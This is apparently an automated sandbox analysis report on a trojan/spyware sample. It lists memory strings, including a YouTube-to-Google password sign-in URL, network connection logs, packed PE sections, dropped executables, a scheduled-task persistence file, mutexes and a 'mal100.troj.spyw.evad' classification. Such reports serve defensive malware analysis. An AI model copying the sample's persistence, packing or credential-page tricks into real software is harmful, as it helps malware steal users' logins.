Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C969403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967469000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96967B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C9677D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F73F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96965D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C9696DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001D.00000002.2267577999.000001C96ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96967B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2260814057.000001C96A8BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001D.00000002.2168505988.000001C9678EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2121556768.000001C956FC9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2300171636.000001C96F5F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2126645860.000001C962BA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2121418359.000001C956F90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C96831E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2122168164.000001C95725D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2122168164.000001C957203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C9677D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2121556768.000001C956FC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2252344441.000001C96965D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2310925330.000001C971677000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.1965127477.000002034F64F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.1973462429.0000013C6029F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2121556768.000001C956FC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001D.00000002.2148441089.000001C966B4A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2123319128.000001C958BDA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2123319128.000001C958B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50146 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 136916b3ff.exe, 0000000F.00000002.1996242810.0000000000A12000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_969886b5-e
Source: 136916b3ff.exe, 0000000F.00000002.1996242810.0000000000A12000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_358705c8-7

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name:
Source: 3BW8PCDTI0L77ZRRJ1.exe.0.dr	Static PE information: section name: .idata
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name:
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name: .idata
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: section name:
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name:
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: .rsrc
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name: .idata
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: 8138ba21a1.exe.7.dr	Static PE information: section name:
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: .rsrc
Source: 8138ba21a1.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: bd214fbd32.exe.7.dr	Static PE information: section name:
Source: bd214fbd32.exe.7.dr	Static PE information: section name: .rsrc
Source: bd214fbd32.exe.7.dr	Static PE information: section name: .idata
Source: bd214fbd32.exe.7.dr	Static PE information: section name:
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name:
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name: .idata
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: section name:
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name:
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: .rsrc
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name: .idata
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00425823		6_2_00425823
Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Code function: 6_2_00425C4D		6_2_00425C4D

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9994520936468647
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982384621934605
Source: G4X9C8XP66LPZY0PX2HHB5N.exe.0.dr	Static PE information: Section: iropgfss ZLIB complexity 0.9943036808076225
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: Section: fzxkvimr ZLIB complexity 0.9951563407902382
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982384621934605
Source: skotes.exe.3.dr	Static PE information: Section: iropgfss ZLIB complexity 0.9943036808076225
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.9994520936468647
Source: 8138ba21a1.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9994520936468647
Source: random[1].exe0.7.dr	Static PE information: Section: fzxkvimr ZLIB complexity 0.9951563407902382
Source: bd214fbd32.exe.7.dr	Static PE information: Section: fzxkvimr ZLIB complexity 0.9951563407902382
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: Section: ZLIB complexity 0.9982384621934605
Source: 5VHE3T5UQF0Q17ZEPUURN3ZOS.exe.18.dr	Static PE information: Section: iropgfss ZLIB complexity 0.9943036808076225
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: Section: fzxkvimr ZLIB complexity 0.9951563407902382

Source: bd214fbd32.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.18.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: J2IWSCR5FJAMGGW2VC4ET4.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000003.1600676886.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1688670034.0000000000471000.00000040.00000001.01000000.00000007.sdmp, bd214fbd32.exe, 0000000E.00000003.1883606041.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1923946896.0000000000051000.00000040.00000001.01000000.00000010.sdmp, num.exe, 00000026.00000002.2204943737.000000000037E000.00000002.00000001.01000000.00000014.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/21@82/12

Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\36DBWZHB.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3700:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4796:64:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
